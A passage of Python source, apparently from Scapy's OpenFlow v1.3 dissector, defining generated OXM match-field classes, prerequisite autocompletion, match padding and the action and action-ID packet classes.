"ipv6_src", 16], 27: ["OFBIPv6Dst", "ipv6_dst", 16], 28: ["OFBIPv6FLabel", "ipv6_flabel", 4], 29: ["OFBICMPv6Type", "icmpv6_type", 1], 30: ["OFBICMPv6Code", "icmpv6_code", 1], 31: ["OFBIPv6NDTarget", "ipv6_nd_target", 16], 32: ["OFBIPv6NDSLL", "ipv6_sll", 6], 33: ["OFBIPv6NDTLL", "ipv6_tll", 6], 34: ["OFBMPLSLabel", "mpls_label", 4], 35: ["OFBMPLSTC", "mpls_tc", 1], 36: ["OFBMPLSBoS", "mpls_bos", 1], 37: ["OFBPBBISID", "pbb_isid", 3], 38: ["OFBTunnelID", "tunnel_id", 8], 39: ["OFBIPv6ExtHdr", "ipv6_ext_hdr_flags", 2]} # the ipv6flags array is useful only to the OFBIPv6ExtHdr class ipv6flags = ["NONEXT", "ESP", "AUTH", "DEST", "FRAG", "ROUTER", "HOP", "UNREP", "UNSEQ"] # here we fill ofp_oxm_fields with the fields that will be used # to generate the various OXM classes # e.g. the call to add_ofp_oxm_fields(0, ["OFBInPort", "in_port", 4]) # will add {0: [ShortEnumField("class",..), BitEnumField("field",..),..]} ofp_oxm_fields = {} def add_ofp_oxm_fields(i, org): ofp_oxm_fields[i] = [ShortEnumField("class", "OFPXMC_OPENFLOW_BASIC", ofp_oxm_classes), # noqa: E501 BitEnumField("field", i // 2, 7, ofp_oxm_names), BitField("hasmask", i % 2, 1)] ofp_oxm_fields[i].append(ByteField("len", org[2] + org[2] * (i % 2))) if i // 2 == 0: # OFBInPort ofp_oxm_fields[i].append(IntEnumField(org[1], 0, ofp_port_no)) elif i // 2 == 3 or i // 2 == 4: # OFBEthSrc & OFBEthDst ofp_oxm_fields[i].append(MACField(org[1], None)) elif i // 2 == 11 or i // 2 == 12: # OFBIPv4Src & OFBIPv4Dst ofp_oxm_fields[i].append(IPField(org[1], "0")) elif i // 2 == 39: # OFBIPv6ExtHdr ofp_oxm_fields[i].append(FlagsField(org[1], 0, 8 * org[2], ipv6flags)) else: ofp_oxm_fields[i].append(BitField(org[1], 0, 8 * org[2])) if i % 2: ofp_oxm_fields[i].append(BitField(org[1] + "_mask", 0, 8 * org[2])) # some HM classes are not supported par OFv1.3 but we will create them anyway for i, cls in ofp_oxm_constr.items(): add_ofp_oxm_fields(2 * i, cls) add_ofp_oxm_fields(2 * i + 1, cls) # now we create every OXM class with the same call, # (except that static variable create_oxm_class.i is each time different) # and we fill ofp_oxm_cls with them ofp_oxm_cls = {} ofp_oxm_id_cls = {} def _create_oxm_cls(): # static variable initialization if not hasattr(_create_oxm_cls, "i"): _create_oxm_cls.i = 0 index = _create_oxm_cls.i cls_name = ofp_oxm_constr[index // 4][0] # we create standard OXM then OXM ID then OXM with mask then OXM-hasmask ID if index % 4 == 2: cls_name += "HM" if index % 2: cls_name += "ID" oxm_name = ofp_oxm_names[index // 4] oxm_fields = ofp_oxm_fields[index // 2] # for ID classes we just want the first 4 fields (no payload) if index % 2: oxm_fields = oxm_fields[:4] cls = type(cls_name, (Packet,), {"name": oxm_name, "fields_desc": oxm_fields}) # noqa: E501 # the first call to special function type will create the same class as in # class OFBInPort(Packet): # def __init__(self): # self.name = "OFB_IN_PORT" # self.fields_desc = [ ShortEnumField("class", 0x8000, ofp_oxm_classes), # BitEnumField("field", 0, 7, ofp_oxm_names), # BitField("hasmask", 0, 1), # ByteField("len", 4), # IntEnumField("in_port", 0, ofp_port_no) ] if index % 2 == 0: ofp_oxm_cls[index // 2] = cls else: ofp_oxm_id_cls[index // 2] = cls _create_oxm_cls.i += 1 cls.extract_padding = lambda self, s: (b"", s) return cls OFBInPort = _create_oxm_cls() OFBInPortID = _create_oxm_cls() OFBInPortHM = _create_oxm_cls() OFBInPortHMID = _create_oxm_cls() OFBInPhyPort = _create_oxm_cls() OFBInPhyPortID = _create_oxm_cls() OFBInPhyPortHM = _create_oxm_cls() OFBInPhyPortHMID = _create_oxm_cls() OFBMetadata = _create_oxm_cls() OFBMetadataID = _create_oxm_cls() OFBMetadataHM = _create_oxm_cls() OFBMetadataHMID = _create_oxm_cls() OFBEthDst = _create_oxm_cls() OFBEthDstID = _create_oxm_cls() OFBEthDstHM = _create_oxm_cls() OFBEthDstHMID = _create_oxm_cls() OFBEthSrc = _create_oxm_cls() OFBEthSrcID = _create_oxm_cls() OFBEthSrcHM = _create_oxm_cls() OFBEthSrcHMID = _create_oxm_cls() OFBEthType = _create_oxm_cls() OFBEthTypeID = _create_oxm_cls() OFBEthTypeHM = _create_oxm_cls() OFBEthTypeHMID = _create_oxm_cls() OFBVLANVID = _create_oxm_cls() OFBVLANVIDID = _create_oxm_cls() OFBVLANVIDHM = _create_oxm_cls() OFBVLANVIDHMID = _create_oxm_cls() OFBVLANPCP = _create_oxm_cls() OFBVLANPCPID = _create_oxm_cls() OFBVLANPCPHM = _create_oxm_cls() OFBVLANPCPHMID = _create_oxm_cls() OFBIPDSCP = _create_oxm_cls() OFBIPDSCPID = _create_oxm_cls() OFBIPDSCPHM = _create_oxm_cls() OFBIPDSCPHMID = _create_oxm_cls() OFBIPECN = _create_oxm_cls() OFBIPECNID = _create_oxm_cls() OFBIPECNHM = _create_oxm_cls() OFBIPECNHMID = _create_oxm_cls() OFBIPProto = _create_oxm_cls() OFBIPProtoID = _create_oxm_cls() OFBIPProtoHM = _create_oxm_cls() OFBIPProtoHMID = _create_oxm_cls() OFBIPv4Src = _create_oxm_cls() OFBIPv4SrcID = _create_oxm_cls() OFBIPv4SrcHM = _create_oxm_cls() OFBIPv4SrcHMID = _create_oxm_cls() OFBIPv4Dst = _create_oxm_cls() OFBIPv4DstID = _create_oxm_cls() OFBIPv4DstHM = _create_oxm_cls() OFBIPv4DstHMID = _create_oxm_cls() OFBTCPSrc = _create_oxm_cls() OFBTCPSrcID = _create_oxm_cls() OFBTCPSrcHM = _create_oxm_cls() OFBTCPSrcHMID = _create_oxm_cls() OFBTCPDst = _create_oxm_cls() OFBTCPDstID = _create_oxm_cls() OFBTCPDstHM = _create_oxm_cls() OFBTCPDstHMID = _create_oxm_cls() OFBUDPSrc = _create_oxm_cls() OFBUDPSrcID = _create_oxm_cls() OFBUDPSrcHM = _create_oxm_cls() OFBUDPSrcHMID = _create_oxm_cls() OFBUDPDst = _create_oxm_cls() OFBUDPDstID = _create_oxm_cls() OFBUDPDstHM = _create_oxm_cls() OFBUDPDstHMID = _create_oxm_cls() OFBSCTPSrc = _create_oxm_cls() OFBSCTPSrcID = _create_oxm_cls() OFBSCTPSrcHM = _create_oxm_cls() OFBSCTPSrcHMID = _create_oxm_cls() OFBSCTPDst = _create_oxm_cls() OFBSCTPDstID = _create_oxm_cls() OFBSCTPDstHM = _create_oxm_cls() OFBSCTPDstHMID = _create_oxm_cls() OFBICMPv4Type = _create_oxm_cls() OFBICMPv4TypeID = _create_oxm_cls() OFBICMPv4TypeHM = _create_oxm_cls() OFBICMPv4TypeHMID = _create_oxm_cls() OFBICMPv4Code = _create_oxm_cls() OFBICMPv4CodeID = _create_oxm_cls() OFBICMPv4CodeHM = _create_oxm_cls() OFBICMPv4CodeHMID = _create_oxm_cls() OFBARPOP = _create_oxm_cls() OFBARPOPID = _create_oxm_cls() OFBARPOPHM = _create_oxm_cls() OFBARPOPHMID = _create_oxm_cls() OFBARPSPA = _create_oxm_cls() OFBARPSPAID = _create_oxm_cls() OFBARPSPAHM = _create_oxm_cls() OFBARPSPAHMID = _create_oxm_cls() OFBARPTPA = _create_oxm_cls() OFBARPTPAID = _create_oxm_cls() OFBARPTPAHM = _create_oxm_cls() OFBARPTPAHMID = _create_oxm_cls() OFBARPSHA = _create_oxm_cls() OFBARPSHAID = _create_oxm_cls() OFBARPSHAHM = _create_oxm_cls() OFBARPSHAHMID = _create_oxm_cls() OFBARPTHA = _create_oxm_cls() OFBARPTHAID = _create_oxm_cls() OFBARPTHAHM = _create_oxm_cls() OFBARPTHAHMID = _create_oxm_cls() OFBIPv6Src = _create_oxm_cls() OFBIPv6SrcID = _create_oxm_cls() OFBIPv6SrcHM = _create_oxm_cls() OFBIPv6SrcHMID = _create_oxm_cls() OFBIPv6Dst = _create_oxm_cls() OFBIPv6DstID = _create_oxm_cls() OFBIPv6DstHM = _create_oxm_cls() OFBIPv6DstHMID = _create_oxm_cls() OFBIPv6FLabel = _create_oxm_cls() OFBIPv6FLabelID = _create_oxm_cls() OFBIPv6FLabelHM = _create_oxm_cls() OFBIPv6FLabelHMID = _create_oxm_cls() OFBICMPv6Type = _create_oxm_cls() OFBICMPv6TypeID = _create_oxm_cls() OFBICMPv6TypeHM = _create_oxm_cls() OFBICMPv6TypeHMID = _create_oxm_cls() OFBICMPv6Code = _create_oxm_cls() OFBICMPv6CodeID = _create_oxm_cls() OFBICMPv6CodeHM = _create_oxm_cls() OFBICMPv6CodeHMID = _create_oxm_cls() OFBIPv6NDTarget = _create_oxm_cls() OFBIPv6NDTargetID = _create_oxm_cls() OFBIPv6NDTargetHM = _create_oxm_cls() OFBIPv6NDTargetHMID = _create_oxm_cls() OFBIPv6NDSLL = _create_oxm_cls() OFBIPv6NDSLLID = _create_oxm_cls() OFBIPv6NDSLLHM = _create_oxm_cls() OFBIPv6NDSLLHMID = _create_oxm_cls() OFBIPv6NDTLL = _create_oxm_cls() OFBIPv6NDTLLID = _create_oxm_cls() OFBIPv6NDTLLHM = _create_oxm_cls() OFBIPv6NDTLLHMID = _create_oxm_cls() OFBMPLSLabel = _create_oxm_cls() OFBMPLSLabelID = _create_oxm_cls() OFBMPLSLabelHM = _create_oxm_cls() OFBMPLSLabelHMID = _create_oxm_cls() OFBMPLSTC = _create_oxm_cls() OFBMPLSTCID = _create_oxm_cls() OFBMPLSTCHM = _create_oxm_cls() OFBMPLSTCHMID = _create_oxm_cls() OFBMPLSBoS = _create_oxm_cls() OFBMPLSBoSID = _create_oxm_cls() OFBMPLSBoSHM = _create_oxm_cls() OFBMPLSBoSHMID = _create_oxm_cls() OFBPBBISID = _create_oxm_cls() OFBPBBISIDID = _create_oxm_cls() OFBPBBISIDHM = _create_oxm_cls() OFBPBBISIDHMID = _create_oxm_cls() OFBTunnelID = _create_oxm_cls() OFBTunnelIDID = _create_oxm_cls() OFBTunnelIDHM = _create_oxm_cls() OFBTunnelIDHMID = _create_oxm_cls() OFBIPv6ExtHdr = _create_oxm_cls() OFBIPv6ExtHdrID = _create_oxm_cls() OFBIPv6ExtHdrHM = _create_oxm_cls() OFBIPv6ExtHdrHMID = _create_oxm_cls() # need_prereq holds a list of prerequisites defined in 7.2.3.8 of the specifications # noqa: E501 # e.g. if you want to use an OFBTCPSrc instance (code 26) # you first need to declare an OFBIPProto instance (code 20) with value 6, # and if you want to use an OFBIPProto instance (still code 20) # you first need to declare an OFBEthType instance (code 10) with value 0x0800 # (0x0800 means IPv4 by default, but you might want to use 0x86dd with IPv6) # need_prereq codes are two times higher than previous oxm classes codes, # except for 21 which is sort of a proxy for IPv6 (see below) need_prereq = {14: [12, 0x1000], 16: [10, 0x0800], # could be 0x86dd 18: [10, 0x0800], # could be 0x86dd 20: [10, 0x0800], # could be 0x86dd 21: [10, 0x86dd], 22: [10, 0x0800], 24: [10, 0x0800], 26: [20, 6], 28: [20, 6], 30: [20, 17], 32: [20, 17], 34: [20, 132], 36: [20, 132], 38: [20, 1], 40: [20, 1], 42: [10, 0x0806], 44: [10, 0x0806], 46: [10, 0x0806], 48: [10, 0x0806], 50: [10, 0x0806], 52: [10, 0x86dd], 54: [10, 0x86dd], 56: [10, 0x86dd], 58: [21, 58], # small trick here, we refer to normally non- 60: [21, 58], # existent field 21 to distinguish ipv6 62: [58, 135], # could be 136 64: [58, 135], 66: [58, 136], 68: [10, 0x8847], # could be 0x8848 70: [10, 0x8847], # could be 0x8848 72: [10, 0x8847], # could be 0x8848 74: [10, 0x88e7], 78: [10, 0x86dd]} class OXMPacketListField(PacketListField): __slots__ = ["autocomplete", "index"] def __init__(self, name, default, cls, length_from=None, autocomplete=False): # noqa: E501 PacketListField.__init__(self, name, default, cls, length_from=length_from) # noqa: E501 self.autocomplete = autocomplete self.index = [] def i2m(self, pkt, val): # this part makes for a faster writing of specs-compliant matches # expect some unwanted behaviour if you try incoherent associations # you might want to set autocomplete=False in __init__ method if self.autocomplete or conf.contribs['OPENFLOW']['prereq_autocomplete']: # noqa: E501 # val might be modified during the loop so we need a fixed copy fix_val = copy.deepcopy(val) for oxm in fix_val: f = 2 * oxm.field fix_index = list(self.index) while f in need_prereq: # this loop enables a small recursion # e.g. ipv6_nd<--icmpv6<--ip_proto<--eth_type prereq = need_prereq[f] f = prereq[0] f2 = 20 if f == 21 else f # ipv6 trick... if f2 not in fix_index: self.index.insert(0, f2) prrq = ofp_oxm_cls[f2]() # never HM setattr(prrq, ofp_oxm_constr[f2 // 2][1], prereq[1]) val.insert(0, prrq) # we could do more complicated stuff to # make sure prerequisite order is correct # but it works well when presented with any coherent input # e.g. you should not mix OFBTCPSrc with OFBICMPv6Code # and expect to get coherent results... # you can still go manual by setting prereq_autocomplete=False # noqa: E501 return val def m2i(self, pkt, s): t = orb(s[2]) nrm_t = t - t % 2 if nrm_t not in self.index: self.index.append(nrm_t) return ofp_oxm_cls.get(t, Raw)(s) @staticmethod def _get_oxm_length(s): return orb(s[3]) def addfield(self, pkt, s, val): return s + b"".join(raw(x) for x in self.i2m(pkt, val)) def getfield(self, pkt, s): lst = [] lim = self.length_from(pkt) ret = s[lim:] remain = s[:lim] while remain and len(remain) > 4: tmp_len = OXMPacketListField._get_oxm_length(remain) + 4 # this could also be done by parsing oxm_fields (fixed lengths) if tmp_len <= 4 or len(remain) < tmp_len: # no incoherent length break current = remain[:tmp_len] remain = remain[tmp_len:] p = self.m2i(pkt, current) lst.append(p) self.index = [] # since OXMPacketListField is called only twice (when OFPMatch and OFPSetField # noqa: E501 # classes are created) and not when you want to instantiate an OFPMatch, # noqa: E501 # index needs to be reinitialized, otherwise there will be some conflicts # noqa: E501 # e.g. if you create OFPMatch with OFBTCPSrc and then change to OFBTCPDst, # noqa: E501 # index will already be filled with ethertype and nwproto codes, # thus the corresponding fields will not be added to the packet return remain + ret, lst class OXMID(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = orb(_pkt[2]) return ofp_oxm_id_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPMatch(Packet): name = "OFP_MATCH" fields_desc = [ShortEnumField("type", 1, {0: "OFPMT_STANDARD", 1: "OFPMT_OXM"}), ShortField("len", None), OXMPacketListField("oxm_fields", [], Packet, length_from=lambda pkt:pkt.len - 4)] def post_build(self, p, pay): tmp_len = self.len if tmp_len is None: tmp_len = len(p) + len(pay) p = p[:2] + struct.pack("!H", tmp_len) + p[4:] zero_bytes = (8 - tmp_len % 8) % 8 p += b"\x00" * zero_bytes # message with user-defined length will not be automatically padded return p + pay def extract_padding(self, s): tmp_len = self.len zero_bytes = (8 - tmp_len % 8) % 8 return s[zero_bytes:], s[:zero_bytes] # ofp_match is no longer a fixed-length structure in v1.3 # furthermore it may include variable padding # we introduce to that end a subclass of PacketField class MatchField(PacketField): def __init__(self, name): PacketField.__init__(self, name, OFPMatch(), OFPMatch) def getfield(self, pkt, s): i = self.m2i(pkt, s) # i can be or > # or > or >> # and we want to return "", or "", > # or raw(), or raw(), > if Raw in i: r = i[Raw] if Padding in r: p = r[Padding] i.payload = p del(r.payload) return r.load, i else: return b"", i # Actions # class OpenFlow3(OpenFlow): name = "OpenFlow v1.3 dissector" @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: # port 6653 has been allocated by IANA, port 6633 should no # longer be used # OpenFlow3 function may be called with None self in OFPPacketField of_type = orb(_pkt[1]) if of_type == 1: err_type = orb(_pkt[9]) # err_type is a short int, but last byte is enough if err_type == 255: err_type = 65535 return ofp_error_cls[err_type] elif of_type == 18: mp_type = orb(_pkt[9]) if mp_type == 255: mp_type = 65535 return ofp_multipart_request_cls[mp_type] elif of_type == 19: mp_type = orb(_pkt[9]) if mp_type == 255: mp_type = 65535 return ofp_multipart_reply_cls[mp_type] else: return ofpt_cls[of_type] return _UnknownOpenFlow ofp_action_types = {0: "OFPAT_OUTPUT", 1: "OFPAT_SET_VLAN_VID", 2: "OFPAT_SET_VLAN_PCP", 3: "OFPAT_STRIP_VLAN", 4: "OFPAT_SET_DL_SRC", 5: "OFPAT_SET_DL_DST", 6: "OFPAT_SET_NW_SRC", 7: "OFPAT_SET_NW_DST", 8: "OFPAT_SET_NW_TOS", 9: "OFPAT_SET_TP_SRC", 10: "OFPAT_SET_TP_DST", # 11: "OFPAT_ENQUEUE", 11: "OFPAT_COPY_TTL_OUT", 12: "OFPAT_COPY_TTL_IN", 13: "OFPAT_SET_MPLS_LABEL", 14: "OFPAT_DEC_MPLS_TC", 15: "OFPAT_SET_MPLS_TTL", 16: "OFPAT_DEC_MPLS_TTL", 17: "OFPAT_PUSH_VLAN", 18: "OFPAT_POP_VLAN", 19: "OFPAT_PUSH_MPLS", 20: "OFPAT_POP_MPLS", 21: "OFPAT_SET_QUEUE", 22: "OFPAT_GROUP", 23: "OFPAT_SET_NW_TTL", 24: "OFPAT_DEC_NW_TTL", 25: "OFPAT_SET_FIELD", 26: "OFPAT_PUSH_PBB", 27: "OFPAT_POP_PBB", 65535: "OFPAT_EXPERIMENTER"} class OFPAT(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_action_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPATOutput(OFPAT): name = "OFPAT_OUTPUT" fields_desc = [ShortEnumField("type", 0, ofp_action_types), ShortField("len", 16), IntEnumField("port", 0, ofp_port_no), ShortEnumField("max_len", "NO_BUFFER", ofp_max_len), XBitField("pad", 0, 48)] # the following actions are not supported by OFv1.3 class OFPATSetVLANVID(OFPAT): name = "OFPAT_SET_VLAN_VID" fields_desc = [ShortEnumField("type", 1, ofp_action_types), ShortField("len", 8), ShortField("vlan_vid", 0), XShortField("pad", 0)] class OFPATSetVLANPCP(OFPAT): name = "OFPAT_SET_VLAN_PCP" fields_desc = [ShortEnumField("type", 2, ofp_action_types), ShortField("len", 8), ByteField("vlan_pcp", 0), X3BytesField("pad", 0)] class OFPATStripVLAN(OFPAT): name = "OFPAT_STRIP_VLAN" fields_desc = [ShortEnumField("type", 3, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATSetDlSrc(OFPAT): name = "OFPAT_SET_DL_SRC" fields_desc = [ShortEnumField("type", 4, ofp_action_types), ShortField("len", 16), MACField("dl_addr", "0"), XBitField("pad", 0, 48)] class OFPATSetDlDst(OFPAT): name = "OFPAT_SET_DL_DST" fields_desc = [ShortEnumField("type", 5, ofp_action_types), ShortField("len", 16), MACField("dl_addr", "0"), XBitField("pad", 0, 48)] class OFPATSetNwSrc(OFPAT): name = "OFPAT_SET_NW_SRC" fields_desc = [ShortEnumField("type", 6, ofp_action_types), ShortField("len", 8), IPField("nw_addr", "0")] class OFPATSetNwDst(OFPAT): name = "OFPAT_SET_NW_DST" fields_desc = [ShortEnumField("type", 7, ofp_action_types), ShortField("len", 8), IPField("nw_addr", "0")] class OFPATSetNwToS(OFPAT): name = "OFPAT_SET_TP_TOS" fields_desc = [ShortEnumField("type", 8, ofp_action_types), ShortField("len", 8), ByteField("nw_tos", 0), X3BytesField("pad", 0)] class OFPATSetTpSrc(OFPAT): name = "OFPAT_SET_TP_SRC" fields_desc = [ShortEnumField("type", 9, ofp_action_types), ShortField("len", 8), ShortField("tp_port", 0), XShortField("pad", 0)] class OFPATSetTpDst(OFPAT): name = "OFPAT_SET_TP_DST" fields_desc = [ShortEnumField("type", 10, ofp_action_types), ShortField("len", 8), ShortField("tp_port", 0), XShortField("pad", 0)] # class OFPATEnqueue(OFPAT): # name = "OFPAT_ENQUEUE" # fields_desc = [ ShortEnumField("type", 11, ofp_action_types), # ShortField("len", 16), # ShortField("port", 0), # XBitField("pad", 0, 48), # IntEnumField("queue_id", 0, ofp_queue) ] class OFPATSetMPLSLabel(OFPAT): name = "OFPAT_SET_MPLS_LABEL" fields_desc = [ShortEnumField("type", 13, ofp_action_types), ShortField("len", 8), IntField("mpls_label", 0)] class OFPATSetMPLSTC(OFPAT): name = "OFPAT_SET_MPLS_TC" fields_desc = [ShortEnumField("type", 14, ofp_action_types), ShortField("len", 8), ByteField("mpls_tc", 0), X3BytesField("pad", 0)] # end of unsupported actions class OFPATCopyTTLOut(OFPAT): name = "OFPAT_COPY_TTL_OUT" fields_desc = [ShortEnumField("type", 11, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATCopyTTLIn(OFPAT): name = "OFPAT_COPY_TTL_IN" fields_desc = [ShortEnumField("type", 12, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATSetMPLSTTL(OFPAT): name = "OFPAT_SET_MPLS_TTL" fields_desc = [ShortEnumField("type", 15, ofp_action_types), ShortField("len", 8), ByteField("mpls_ttl", 0), X3BytesField("pad", 0)] class OFPATDecMPLSTTL(OFPAT): name = "OFPAT_DEC_MPLS_TTL" fields_desc = [ShortEnumField("type", 16, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATPushVLAN(OFPAT): name = "OFPAT_PUSH_VLAN" fields_desc = [ShortEnumField("type", 17, ofp_action_types), ShortField("len", 8), ShortField("ethertype", 0x8100), # or 0x88a8 XShortField("pad", 0)] class OFPATPopVLAN(OFPAT): name = "OFPAT_POP_VLAN" fields_desc = [ShortEnumField("type", 18, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATPushMPLS(OFPAT): name = "OFPAT_PUSH_MPLS" fields_desc = [ShortEnumField("type", 19, ofp_action_types), ShortField("len", 8), ShortField("ethertype", 0x8847), # or 0x8848 XShortField("pad", 0)] class OFPATPopMPLS(OFPAT): name = "OFPAT_POP_MPLS" fields_desc = [ShortEnumField("type", 20, ofp_action_types), ShortField("len", 8), ShortField("ethertype", 0x8847), # or 0x8848 XShortField("pad", 0)] class OFPATSetQueue(OFPAT): name = "OFPAT_SET_QUEUE" fields_desc = [ShortEnumField("type", 21, ofp_action_types), ShortField("len", 8), IntEnumField("queue_id", 0, ofp_queue)] class OFPATGroup(OFPAT): name = "OFPAT_GROUP" fields_desc = [ShortEnumField("type", 22, ofp_action_types), ShortField("len", 8), IntEnumField("group_id", 0, ofp_group)] class OFPATSetNwTTL(OFPAT): name = "OFPAT_SET_NW_TTL" fields_desc = [ShortEnumField("type", 23, ofp_action_types), ShortField("len", 8), ByteField("nw_ttl", 0), X3BytesField("pad", 0)] class OFPATDecNwTTL(OFPAT): name = "OFPAT_DEC_NW_TTL" fields_desc = [ShortEnumField("type", 24, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATSetField(OFPAT): name = "OFPAT_SET_FIELD" fields_desc = [ShortEnumField("type", 25, ofp_action_types), ShortField("len", None), # there should not be more than one oxm tlv OXMPacketListField("field", [], Packet, length_from=lambda pkt:pkt.len - 4, # /!\ contains padding! autocomplete=False)] def post_build(self, p, pay): tmp_len = self.len zero_bytes = 0 if tmp_len is None: tmp_len = len(p) + len(pay) zero_bytes = (8 - tmp_len % 8) % 8 tmp_len = tmp_len + zero_bytes # add padding length p = p[:2] + struct.pack("!H", tmp_len) + p[4:] else: zero_bytes = (8 - tmp_len % 8) % 8 # every message will be padded correctly p += b"\x00" * zero_bytes return p + pay def extract_padding(self, s): return b"", s class OFPATPushPBB(OFPAT): name = "OFPAT_PUSH_PBB" fields_desc = [ShortEnumField("type", 26, ofp_action_types), ShortField("len", 8), ShortField("ethertype", 0x88e7), XShortField("pad", 0)] class OFPATPopPBB(OFPAT): name = "OFPAT_POP_PBB" fields_desc = [ShortEnumField("type", 27, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATExperimenter(OFPAT): name = "OFPAT_EXPERIMENTER" fields_desc = [ShortEnumField("type", 65535, ofp_action_types), ShortField("len", 8), IntField("experimenter", 0)] ofp_action_cls = {0: OFPATOutput, 1: OFPATSetVLANVID, 2: OFPATSetVLANPCP, 3: OFPATStripVLAN, 4: OFPATSetDlSrc, 5: OFPATSetDlDst, 6: OFPATSetNwSrc, 7: OFPATSetNwDst, 8: OFPATSetNwToS, 9: OFPATSetTpSrc, 10: OFPATSetTpDst, # 11: OFPATEnqueue, 11: OFPATCopyTTLOut, 12: OFPATCopyTTLIn, 13: OFPATSetMPLSLabel, 14: OFPATSetMPLSTC, 15: OFPATSetMPLSTTL, 16: OFPATDecMPLSTTL, 17: OFPATPushVLAN, 18: OFPATPopVLAN, 19: OFPATPushMPLS, 20: OFPATPopMPLS, 21: OFPATSetQueue, 22: OFPATGroup, 23: OFPATSetNwTTL, 24: OFPATDecNwTTL, 25: OFPATSetField, 26: OFPATPushPBB, 27: OFPATPopPBB, 65535: OFPATExperimenter} # Action IDs # class OFPATID(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_action_id_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s # length is computed as in instruction structures, # so we reuse _ofp_header class OFPATOutputID(OFPATID): name = "OFPAT_OUTPUT" fields_desc = [ShortEnumField("type", 0, ofp_action_types), ShortField("len", 4)] # the following actions are not supported by OFv1.3 class OFPATSetVLANVIDID(OFPATID): name = "OFPAT_SET_VLAN_VID" fields_desc = [ShortEnumField("type", 1, ofp_action_types), ShortField("len", 4)] class OFPATSetVLANPCPID(OFPATID): name = "OFPAT_SET_VLAN_PCP" fields_desc = [ShortEnumField("type", 2, ofp_action_types), ShortField("len", 4)] class OFPATStripVLANID(OFPATID): name = "OFPAT_STRIP_VLAN" fields_desc = [ShortEnumField("type", 3, ofp_action_types), ShortField("len", 4)] class OFPATSetDlSrcID(OFPATID): name = "OFPAT_SET_DL_SRC" fields_desc = [ShortEnumField("type", 4, ofp_action_types), ShortField("len", 4)] class OFPATSetDlDstID(OFPATID): name = "OFPAT_SET_DL_DST" fields_desc = [ShortEnumField("type", 5, ofp_action_types), ShortField("len", 4)] class OFPATSetNwSrcID(OFPATID): name = "OFPAT_SET_NW_SRC" fields_desc = [ShortEnumField("type", 6, ofp_action_types), ShortField("len", 4)] class OFPATSetNwDstID(OFPATID): name = "OFPAT_SET_NW_DST" fields_desc = [ShortEnumField("type", 7, ofp_action_types), ShortField("len", 4)] class OFPATSetNwToSID(OFPATID): name = "OFPAT_SET_TP_TOS" fields_desc = [ShortEnumField("type", 8, ofp_action_types), ShortField("len", 4)] class OFPATSetTpSrcID(OFPATID): name = "OFPAT_SET_TP_SRC" fields_desc = [ShortEnumField("type", 9, ofp_action_types), ShortField("len", 4)] class OFPATSetTpDstID(OFPATID): name = "OFPAT_SET_TP_DST" fields_desc = [ShortEnumField("type", 10, ofp_action_types), ShortField("len", 4)] # class OFPATEnqueueID(OFPAT): # name = "OFPAT_ENQUEUE" # fields_desc = [ ShortEnumField("type", 11, ofp_action_types), # ShortField("len", 4) ] class OFPATSetMPLSLabelID(OFPATID): name = "OFPAT_SET_MPLS_LABEL" fields_desc = [ShortEnumField("type", 13, ofp_action_types), ShortField("len", 4)] class OFPATSetMPLSTCID(OFPATID): name = "OFPAT_SET_MPLS_TC" fields_desc = [ShortEnumField("type", 14, ofp_action_types), ShortField("len", 4)] # end of unsupported actions class OFPATCopyTTLOutID(OFPATID): name = "OFPAT_COPY_TTL_OUT" fields_desc = [ShortEnumField("type", 11, ofp_action_types), ShortField("len", 4)] class OFPATCopyTTLInID(OFPATID): name = "OFPAT_COPY_TTL_IN" fields_desc = [ShortEnumField("type", 12, ofp_action_types), ShortField("len", 4)] class OFPATSetMPLSTTLID(OFPATID): name = "OFPAT_SET_MPLS_TTL" fields_desc = [ShortEnumField("type", 15, ofp_action_types), ShortField("len", 4)] class OFPATDecMPLSTTLID(OFPATID): name = "OFPAT_DEC_MPLS_TTL" fields_desc = [ShortEnumField("type", 16, ofp_action_types), ShortField("len", 4)] class OFPATPushVLANID(OFPATID): name = "OFPAT_PUSH_VLAN" fields_desc = [ShortEnumField("type", 17, ofp_action_types), ShortField("len", 4)] class OFPATPopVLANID(OFPATID): name = "OFPAT_POP_VLAN" fields_desc = [ShortEnumField("type", 18, ofp_action_types), ShortField("len", 4)] class OFPATPushMPLSID(OFPATID): name = "OFPAT_PUSH_MPLS" fields_desc = [ShortEnumField("type", 19, ofp_action_types), ShortField("len", 4)] class OFPATPopMPLSID(OFPATID): name = "OFPAT_POP_MPLS" fields_desc = [ShortEnumField("type", 20, ofp_action_types), ShortField("len", 4)] class OFPATSetQueueID(OFPATID): name = "OFPAT_SET_QUEUE" fields_desc = [ShortEnumField("type", 21, ofp_action_types), ShortField("len", 4)] class OFPATGroupID(OFPATID): name = "OFPAT_GROUP" fields_desc = [ShortEnumField("type", 22, ofp_action_types), ShortField("len", 4)] class OFPATSetNwTTLID(OFPATID): name = "OFPAT_SET_NW_TTL" fields_desc = [ShortEnumField("type", 23, ofp_action_types), ShortField("len", 4)] class OFPATDecNwTTLID(OFPATID): name = "OFPAT_DEC_NW_TTL" fields_desc = [ShortEnumField("type", 24, ofp_action_types), ShortField("len", 4)] class OFPATSetFieldID(OFPATID): name = "OFPAT_SET_FIELD" fields_desc = [ShortEnumField("type", 25, ofp_action_types), ShortField("len", 4)] class OFPATPushPBBID(OFPATID): name = "OFPAT_PUSH_PBB" fields_desc = [ShortEnumField("type", 26, ofp_action_types), ShortField("len", 4)] class OFPATPopPBBID(OFPATID): name = 